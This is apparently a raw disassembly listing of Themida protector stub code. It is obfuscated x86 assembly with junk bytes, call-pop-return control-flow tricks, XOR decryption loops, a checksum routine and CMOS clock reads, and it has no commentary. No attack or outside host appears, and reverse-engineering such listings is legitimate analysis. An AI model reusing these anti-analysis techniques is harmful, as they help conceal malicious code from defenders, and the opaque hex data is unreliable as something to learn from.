		dd 45000000h, 6A71C355h, 0B5893440h, 6A8025Dh, 0C91BD83h
		dd 0F0006A8h, 5184h, 0B8F900h, 0E8000000h, 8, 77F34130h
		dd 0D541BA71h, 14398589h, 8D5F06A8h, 0A84FAF8Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 9529EF9Bh, 6A8029Dh,	0B509E1FFh, 6A81B35h, 2F0DB509h
		dd 0BD8306A8h, 6A80BBDh, 0A0840F00h, 52000003h,	6880Fh
		dd 9D8B0000h, 6A813E9h,	0BDBD835Bh, 106A80Bh, 3A0840Fh
		dd 6E90000h, 0FF000000h, 21D3A6EBh, 0BDBD83BFh,	306A80Bh
		dd 352860Fh, 85890000h,	6A81101h, 53006A60h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 6860FD3h, 8B000000h
		dd 0A834519Dh, 0FD9D8906h, 6606A80Ah, 0BD29D98Ch, 6A82259h
		dd 6A04E180h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 278FC352h, 23FCCF2Ah, 0A81A4DBDh
		dd 0FC90A06h, 0F084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 8F814D93h, 31BD8B54h
		dd 8B06A801h, 0A82641BDh, 0E1858B06h, 6A06A80Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 7C81C350h, 689EBD65h, 3363BDA8h, 0A81D5D85h,	6D852906h
		dd 5006A834h, 66F361BBh, 24048956h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 24C35242h, 92972A1Fh, 6AE2F727h
		dd 459D8B00h, 6806A81Bh, 0D1797FF4h, 481F98Bh, 0A5840B24h
		dd 0BD9D8B2Eh, 0FF06A800h, 0A8074195h, 0D38B6006h, 33EDB589h
		dd 666106A8h, 0D637C381h, 0A2278589h, 5E906ABh,	90000000h
		dd 27A6F74Bh, 1A3E9h, 11E800h, 0FEE30000h, 9DBC3119h, 30CEB762h
		dd 0A14A4DB2h, 667DD362h, 0F7FEF381h, 1F858B5Bh, 6A06ABA2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 2295C357h, 0B5317F18h, 6A82AE5h, 1B75BD2Bh
		dd 0BB6606A8h, 0C70D95h, 18h, 0DE9h, 0C79B7F00h, 0A6D43AE8h
		dd 71D8FAB6h, 0B58BED35h, 6ABA223h, 20799D8Bh, 858B06A8h
		dd 6A82B7Dh, 89B8CB80h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8B681616h, 0C9B589D9h
		dd 8B06A832h, 0A80BE185h, 95858906h, 8906A827h,	6A0446h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 39CA8FC3h, 0BC4E586Ah, 40B39610h, 6A9650h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 8F814DC3h
		dd 0FF7CAB54h, 0ABA21FB5h, 8C0F06h, 0E8000000h,	4, 1F03FFh
		dd 14E952h, 0DAF70000h,	0F595621Bh, 3A79F363h, 0B8D2514Bh
		dd 4ABDF9CDh, 505F0F31h, 9E860h, 0CC100000h, 4610F6Bh
		dd 66404E54h, 5E990BBBh, 24448B61h, 66008B04h, 8939E3BFh
		dd 58042444h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	0FC35242h, 29BE8959h, 0A8171DBDh, 27858D06h, 8B06ABA2h
		dd 0A82099BDh, 6FBB5006h, 89077DB3h, 80602404h,	0EF81C9D1h
		dd 2009E7D9h, 4195FF61h, 0BB06A807h, 5F2F8480h,	85C7FC61h
		dd 6A80BBDh, 3,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0BCC35747h, 83F56DEBh, 0ABA227BDh, 840F0006h, 34h
		dd 6880Fh, 0BD8B0000h, 6A8151Dh, 3EE9h,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 870FEEC2h, 0
; ---------------------------------------------------------------------------


loc_59ACE4:				; CODE XREF: Themida_:0059ACFBj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_59ACE4
		jmp	short loc_59AD35
; ---------------------------------------------------------------------------


loc_59ACFF:				; CODE XREF: Themida_:0059AD16j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_59ACFF
		jmp	short loc_59AD35
; ---------------------------------------------------------------------------


loc_59AD1A:				; CODE XREF: Themida_:0059AD31j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_59AD1A
		jmp	short $+2


loc_59AD35:				; CODE XREF: Themida_:0059ACFDj
					; Themida_:0059AD18j
		mov	eax, eax
		mov	edi, 6BBF8B3Bh
		pusha
		mov	bl, 6
		mov	ebx, [ebp+6A82AF1h]
		popa
		jbe	loc_59AD51
		mov	ebx, 44DB48A4h


loc_59AD51:				; CODE XREF: Themida_:0059AD46j
		cmp	dword ptr [ebp+6A80BBDh], 3
		jnz	loc_59B16E
		push	0
		push	ebp
		call	sub_59AD69
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59AD69	proc near		; CODE XREF: Themida_:0059AD61p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_59AD69	endp

; ---------------------------------------------------------------------------
		cmp	bl, [edi-28h]
		fmul	qword ptr [ecx+0B6441DBh]
		mov	ebp, 6A81529h
		cmp	dword ptr [ebp+6ABA227h], 0
		jz	loc_59B16E
		push	0
		push	ebp
		call	sub_59AD9F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59AD9F	proc near		; CODE XREF: Themida_:0059AD97p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_59AD9F	endp

; ---------------------------------------------------------------------------
		db 1Ah
; ---------------------------------------------------------------------------
		sub	[esi+edi*8-24h], ebx
		ja	short near ptr loc_59ADC4+1
		mov	edi, 0D98B66DFh
		push	dword ptr [ebp+6ABA227h]
		push	0
		push	ecx


loc_59ADC4:				; CODE XREF: Themida_:0059ADB4j
		call	sub_59ADCC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59ADCC	proc near		; CODE XREF: Themida_:loc_59ADC4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_59ADCC	endp

; ---------------------------------------------------------------------------
		dd 8DCECA12h, 0AD062F26h, 8166F6FBh, 0F2925D3h,	58Bh, 0F3816600h
		dd 95FF82B6h, 6A815F9h,	21399D23h, 0B58B06A8h, 6ABA21Bh
		dd 8E9h, 0C2A6E800h, 4F350BCDh,	106C723h, 8B000100h, 0A822419Dh
		dd 9E95006h, 1D000000h,	2E4E5A89h, 83A5230Eh, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 25FEC355h, 7FA5C74Eh, 2960394Eh, 0A8007D8Dh
		dd 519D8906h, 6106A81Bh, 0A227B5FFh, 0BF6606ABh, 95FF0E12h
		dd 6A82199h, 8BFAB70Fh,	0ABA21BB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0A58FD808h
		dd 8D891A37h, 6A81A51h,	189AEF81h, 858B3825h, 6A80E41h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 75C35747h
		dd 86897363h, 0C4h, 591BD8Bh, 958B06A8h, 6A805B9h, 88A0Fh
		dd 0F500000h, 84h, 0C2835F00h, 50006A04h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 20508983h
		dd 0A5BD89FCh, 8D06A831h, 0ABB7CE85h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 5DBF9B97h, 9C56ED9Bh, 870F6AC4h, 1, 21BD8BF5h, 8906A816h
		dd 0B886h, 61853100h, 6A06A822h, 0BB665200h, 0FF5F8D09h
		dd 0ABA227B5h, 25BD0906h, 0FF06A822h, 0A81E1D95h, 70DF8006h
		dd 5840F50h, 0BB000000h, 1BFDA729h, 80243489h, 8F0FE4E3h
		dd 3, 0FFCBCF80h, 0ABA227B5h, 50EF8106h, 0FF1B7E2Bh, 0A82A6995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 102D1742h, 6625D44Fh, 8394D0BFh,	0A82E3DBDh
		dd 840F0006h, 6Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0AEC35343h, 89F9F152h, 0C781661Eh, 0BF96FCCBh
		dd 6F458FD3h, 0FE850h, 0FFF70000h, 0F5C19BB1h, 0FD8F20F7h
		dd 3F26DD29h, 83BB66E0h, 6A965B7Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 6159C353h
		dd 0EF74EEAEh, 0E05416AAh, 0A227B5FFh, 6A06ABh,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 1DD4A7C3h, 0B9BCEDF9h, 95FFF88Bh, 6A83185h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F7C35242h, 0B9702A0Eh
		dd 232CF7A1h, 0A82B49BDh, 27B5FF06h, 6A06ABA2h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0DBB5C353h, 1FB96EDh, 0F5595FFh, 0EE806A8h, 69000000h
		dd 6D712079h, 0C896E813h, 0DF81FDF7h, 0C99D8997h, 5F06A820h
		dd 77DBD83h, 0F0206A8h,	7184h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0FA1E5DE8h
		dd 0E4226970h, 7E96034h, 3F000000h, 54A913BCh, 8D8B4A9Dh
		dd 6A81FBDh, 19858B61h,	0F06A80Dh, 28Ch, 0C6DD8A00h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0F1145C3h, 580h, 0D7816600h,	85C760CDh, 6A80DC1h, 0
; ---------------------------------------------------------------------------
		mov	ebx, esi


loc_59B16E:				; CODE XREF: Themida_:0059AD58j
					; Themida_:0059AD8Ej
		jmp	near ptr dword_59A0D0+48Ah
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_59B17E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B17E	proc near		; CODE XREF: Themida_:0059B176p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_59B17E	endp

; ---------------------------------------------------------------------------
		dw 0CE26h
		dd 8DC18B71h, 0A8338585h, 9D8B5106h, 6A80911h, 5250905Bh
		dd 0EE9h, 91170600h, 8368AFh, 0E0C321AFh, 0FC4EB95h, 5A83B731h
		dd 89905058h, 0A80B2595h, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 51A0C357h
		dd 909A6B59h, 0D6BBD405h, 6A006AFCh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 9636C351h
		dd 0AE9h, 0A3159B00h, 6B673768h, 8DFD8098h, 0AD196085h
		dd 0F18D8906h, 8B06A80Fh, 0A816CD9Dh, 5C08306h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0ECC35646h, 375C3058h
		dd 0A186EDCBh, 0EE946h,	0DC8F0000h, 0A950A616h,	7296B2FBh
		dd 8F4FD11Ch, 10E990h, 8DCA0000h, 0CB84546Ah, 25D687F8h
		dd 0F94FEBD6h, 6650274Fh, 90808ABBh, 0B008D381h, 6AF81BEEh
		dd 0BD9D8B00h, 6A06A80Eh, 1DBD8B00h, 0FF06A816h, 0A8254195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0F757016h, 0F8925CBh, 0FB8BFFBFh, 8C7F8D8Dh
		dd 0F38106ABh, 1BC1F748h, 870FD1FFh, 2,	0B70FDD8Ah, 9DBD83F8h
		dd 106A833h, 7F850Fh, 0BD010000h, 6A82129h, 6A026Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 2F44A1C3h, 5ED28734h, 0BB66EEB3h, 66504F75h,	489F98Bh
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0E4570B97h, 7BBB6653h, 95FF5F0Fh, 6A81E1Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CBC35747h
		dd 0D8DE9F8h, 0E80000h,	5D000000h, 196AED81h, 6A06ADh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 53286C3h, 617C9D3Eh,	2ECD9D89h, 9D0B06A8h, 6A80DD1h
		dd 7E2E858Dh, 6A06ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 9F0E12C3h, 13CF07A5h, 8B47F772h
		dd 0A80B49BDh, 1853106h, 9006A81Ch, 53B86660h, 505061C4h
		dd 0F525052h, 5A2EBB31h, 585A55FEh, 585A310Fh, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0B5895982h, 6A80565h, 35FF64h, 89000000h, 0A82D819Dh
		dd 25896406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_59B43F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B43F	proc near		; CODE XREF: Themida_:0059B437p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_59B43F	endp

; ---------------------------------------------------------------------------
		jz	short loc_59B484
		mov	ebp, 6A81D59h
		mov	bh, 0BAh
		inc	dword ptr [ebp+6A833F1h]
		mov	[ebp+6A80C5Dh],	eax
		push	0FFFFFFFFh
		push	0
		push	edi
		call	sub_59B471
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B471	proc near		; CODE XREF: Themida_:0059B469p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_59B471	endp

; ---------------------------------------------------------------------------
		db 0D7h, 0ECh, 34h
; ---------------------------------------------------------------------------


loc_59B484:				; CODE XREF: Themida_:0059B44Fj
		add	cl, [esi+1DB5897Dh]
		or	[eax+51BD8B06h], ebp
		daa
		test	al, 6
		push	dword ptr [ebp+6A80915h]
		push	0
		push	ecx
		call	sub_59B4A4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B4A4	proc near		; CODE XREF: Themida_:0059B49Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_59B4A4	endp

; ---------------------------------------------------------------------------
		adc	cl, [ebx-57F92A43h]
		push	es
		mov	ebx, 1619610Fh
		call	dword ptr [ebp+6A82A7Dh]
		jmp	loc_59B5EC
; ---------------------------------------------------------------------------
		jmp	loc_59B4D8
; ---------------------------------------------------------------------------
		dd 72B7E69Eh, 0D14C2873h
; ---------------------------------------------------------------------------


loc_59B4D8:				; CODE XREF: Themida_:0059B4CBj
		jmp	loc_59B4EE
; ---------------------------------------------------------------------------
		db 5, 0E8h, 88h
		dd 1FBDEC4Eh, 9AD9BC0Dh, 0BC830416h
		db 0F7h, 61h
; ---------------------------------------------------------------------------


loc_59B4EE:				; CODE XREF: Themida_:loc_59B4D8j
		mov	al, 0
		movzx	edi, di
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		jnp	loc_59B4FC
		cld


loc_59B4FC:				; CODE XREF: Themida_:0059B4F5j
		in	al, 71h		; CMOS Memory
		jge	$+6
		cmp	al, 61h
		jnb	loc_59B5EC
		mov	ebx, [ebp+6A80AA5h]
		movzx	ecx, al
		xor	ebx, [ebp+6A807C9h]
		mov	edx, 6
		sub	ebx, 0E6758F7h
		mov	eax, ecx
		call	sub_59B539
		or	al, 0FFh
		mov	esp, 2E104653h
		mov	eax, 2B6499B9h

; =============== S U B	R O U T	I N E =======================================



sub_59B539	proc near		; CODE XREF: Themida_:0059B528p
		jbe	loc_59B545
		mov	ebx, [ebp+6A82B9Dh]


loc_59B545:				; CODE XREF: sub_59B539j
		pop	edi
		shr	eax, 4
		mov	di, cx
		mul	dx
		mov	[ebp+6A816DDh],	edx
		sub	ecx, eax
		jo	loc_59B563
		mov	[ebp+6A82999h],	eax


loc_59B563:				; CODE XREF: sub_59B539+1Ej
		mov	edx, ecx
		push	edx
		mov	edi, [ebp+6A8093Dh]
		pop	edi
		jmp	loc_59B5EC
; ---------------------------------------------------------------------------
		xor	edi, [ebp+6A81F9Dh]
		mov	eax, [ebp+505F4C4Ch]
		add	eax, 7
		mov	bl, 0B2h
		add	eax, 0
		mov	bx, dx
		mov	[ebp+6A81F61h],	ebx
		cmp	edx, eax
		jnb	loc_59B5AC
		movsx	edi, cx
		mov	ebx, [ebp+6A81001h]
		jmp	loc_59B5EC
; ---------------------------------------------------------------------------
		movzx	ebx, cx
		mov	di, 0A987h


loc_59B5AC:				; CODE XREF: sub_59B539+58j
		mov	ecx, [ebp-1]
		and	ecx, 1
		jz	loc_59B5EC
		jmp	loc_59B5CD
; ---------------------------------------------------------------------------
		dd 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h
		db 70h
; ---------------------------------------------------------------------------


loc_59B5CD:				; CODE XREF: sub_59B539+82j
		and	dword ptr [ebp-1], 0FFFFFFFEh
		mov	ebx, [ebp+6A831D9h]
		mov	[ebp+505F4C4Ch], edx
		jge	loc_59B5E7
		cmc


loc_59B5E7:				; CODE XREF: sub_59B539+A7j
		jmp	$+5


loc_59B5EC:				; CODE XREF: Themida_:0059B4C6j
					; Themida_:0059B506j ...
		lea	esi, [ebp+6AC95BFh]
		mov	[ebp+6A80FB5h],	edx
		push	0
		and	di, 0E3E6h
		call	dword ptr [ebp+6A81B31h]
		mov	di, 0B682h
		mov	ecx, 102Ah
		sub	bl, 0ADh
		and	ecx, 0FFFFFFFCh
		jmp	loc_59B622
; ---------------------------------------------------------------------------
		db 0F3h, 0A8h, 1Eh
		dd 0FF7F9C5Fh
		db 49h,	73h
; ---------------------------------------------------------------------------


loc_59B622:				; CODE XREF: sub_59B539+DBj
		cld
		and	bx, 2FAAh
		sub	eax, eax
		jmp	loc_59B636
; ---------------------------------------------------------------------------
		db 0A3h
		dd 95E2B26Fh
		db 75h,	92h
; ---------------------------------------------------------------------------


loc_59B636:				; CODE XREF: sub_59B539+F1j
		sub	edx, edx
		mov	edi, 6B209975h


loc_59B63D:				; CODE XREF: sub_59B539+10Ej
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_59B63D
		push	0
		push	ecx
		call	sub_59B654
		and	[ecx-3Dh], bl
sub_59B539	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59B654	proc near		; CODE XREF: sub_59B539+113p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_59B654	endp

; ---------------------------------------------------------------------------
		adc	cl, ds:89547B11h
		popf
		sub	eax, 8B06A800h
		popf
		popa
		daa
		test	al, 6
		add	[ebp+6A81671h],	esi
		sub	[ebp+6A819DDh],	esi
		mov	[ebp+6A81401h],	ebx
		or	eax, 88h
		push	0
		push	edi
		call	sub_59B697
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B697	proc near		; CODE XREF: Themida_:0059B68Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_59B697	endp

; ---------------------------------------------------------------------------
		db 0CEh
; ---------------------------------------------------------------------------
		mov	edx, 5B9958Bh
		test	al, 6
		pusha
		add	dx, 55BBh
		or	[ebp+6A814B9h],	esi
		popa
		mov	ecx, [ebp+6A81469h]
		push	esi
		and	di, 0D4C0h
		pop	edi
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		mov	di, dx
		cmc
		cmp	dword ptr [ebp+6A80C91h], 0
		jz	loc_59B779
		cmc
		mov	eax, 0
		push	0
		push	ecx
		call	sub_59B6FD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B6FD	proc near		; CODE XREF: Themida_:0059B6F5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_59B6FD	endp

; ---------------------------------------------------------------------------
		db 0BAh, 1Bh, 2
		dd 959D293Bh, 6006A80Ah, 31E5BD31h, 0BD8906A8h,	6A8350Dh
		dd 0AF8D8D61h, 0E806A84Fh, 13h,	0C4D450BBh, 0B0BF1862h
		dd 0F496DC0Fh, 4978CF66h, 56B62436h, 15A18D31h,	5B5F06A8h
		dd 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 90C27BC3h, 2D9D8B1Dh, 8906A834h, 0A80B01B5h
; ---------------------------------------------------------------------------
		push	es


loc_59B779:				; CODE XREF: Themida_:0059B6E6j
		cmp	dword ptr [ebp+6A80BBDh], 0
		jz	loc_59BC28
		push	0
		push	esi
		call	sub_59B791
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B791	proc near		; CODE XREF: Themida_:0059B789p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_59B791	endp

; ---------------------------------------------------------------------------
		db 2Fh,	62h, 0A1h
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6A80BBDh], 1
		jz	loc_59BC43
		push	0
		push	ebx
		call	sub_59B7BC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B7BC	proc near		; CODE XREF: Themida_:0059B7B4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_59B7BC	endp

; ---------------------------------------------------------------------------
		dd 325AE5F0h, 0E821EF71h, 11h, 0A093EF93h, 2298ED1Dh, 0B1ED0C7Dh
		dd 85CE3219h, 0C38060F3h, 835F61F1h, 0A80BBDBDh, 860F0306h
		dd 411h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	33C35747h, 5E71F3DBh, 85AF645Dh, 14E8h,	74B0000h
		dd 2D21B105h, 0FADAF46Ah, 7E6DAAF4h, 0DE80A3ADh, 5FFC8AECh
		dd 16818D29h, 0F6006A8h, 68Bh, 0C9958900h, 6606A81Bh, 6AD98Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 593272C3h, 80FABF0Fh, 0BF0F04E1h, 0FC90AF9h,	19584h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0CAA0AA89h, 95897AF4h, 6A81631h,	0BE1858Bh
		dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0C8CE1FC3h, 98A9FF9Fh, 1D5D8533h,	6A06A8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 4A0F0EC3h, 0A3D43EBh, 23609799h, 0A8260185h,	1D858B06h
		dd 6106A82Bh, 505B5190h, 583CE0BFh, 6A9034h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 2D994C3h
		dd 7B947681h, 17718589h, 8A0F06A8h, 6, 0CA62E381h, 6A45DDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 6BC35343h
		dd 4E8h, 1F03FF00h, 5E900h, 0F8B50000h,	50A26B41h, 0DF8B5250h
		dd 860F310Fh, 2, 585A5B52h, 424448Bh, 8D7307BFh, 0F008B2Ah
		dd 8Ch,	24448900h, 58DF8B04h, 32F59529h, 95FF06A8h, 6A80741h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 13C35545h
		dd 15BD0B56h, 5F06A805h, 33F56057h, 0A815C1B5h,	895B6106h
		dd 0ABA22785h, 31BD3306h, 8106A814h, 19CB04DBh,	1CFE909h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 9FE53C3h,	1414D3ABh, 858BC6A7h, 6ABA21Fh
		dd 1F39B589h, 0C706A8h,	18h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 66C35242h, 0D3BAFB71h, 0BD2BB1F5h
		dd 6A805C1h, 8BD98B66h,	0ABA223B5h, 71BD8906h, 8B06A827h
		dd 0A82B7D85h, 0FB8B5706h, 8B06895Bh, 0A80BE185h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 8A783A34h, 2BE37785h, 33BAB7EFh, 0A81999BDh,	4468906h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 36C35646h
		dd 0EC34C62Eh, 80456483h, 0F5018D3h, 387h, 0DF8B6600h
		dd 66243489h, 0FF5593BBh, 0ABA21FB5h, 0F8B70F06h, 0A890Fh
		dd 840F0000h, 4, 2826BF66h, 4A48EE68h, 0FE861h,	1E300000h
		dd 3C270157h, 0FD7DADC8h, 0A735F3DFh, 15830F81h, 0E8000000h
		dd 0Fh,	98DA62FEh, 9D3F39B9h, 7F8CBD73h, 5BD41E6Fh, 2434815Bh
		dd 61554B11h, 8DDFB70Fh, 0ABA22785h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 4BF87FBFh
		dd 8B60CB1Fh, 0A82EA98Dh, 31958906h, 6106A801h,	17870F90h
		dd 0E9000000h, 12h, 3724BD9Bh, 0BE0DC183h, 0C2FDBE24h
		dd 6B005FF2h, 6650DA33h, 6A90FA8Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0DCF9C357h
		dd 939133D8h, 53789D62h, 0B63CF381h, 8B5B4836h,	4195FFF9h
		dd 8906A807h, 0A83199B5h, 6A6106h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 61DCB0C3h, 22D99589h
		dd 85C706A8h, 6A80BBDh,	3, 83DFB70Fh, 0ABA227BDh, 840F0006h
		dd 0Dh,	0E519D8Bh, 1DE906A8h, 8B000000h, 0C3050DAh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
; ---------------------------------------------------------------------------


loc_59BC28:				; CODE XREF: Themida_:0059B780j
					; Themida_:0059BC3Fj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_59BC28
		jmp	short loc_59BC5E
; ---------------------------------------------------------------------------


loc_59BC43:				; CODE XREF: Themida_:0059B7ABj
					; Themida_:0059BC5Aj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_59BC43
		jmp	short $+2


loc_59BC5E:				; CODE XREF: Themida_:0059BC41j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_59BC6B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BC6B	proc near		; CODE XREF: Themida_:0059BC63p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_59BC6B	endp

; ---------------------------------------------------------------------------
		db 0B4h
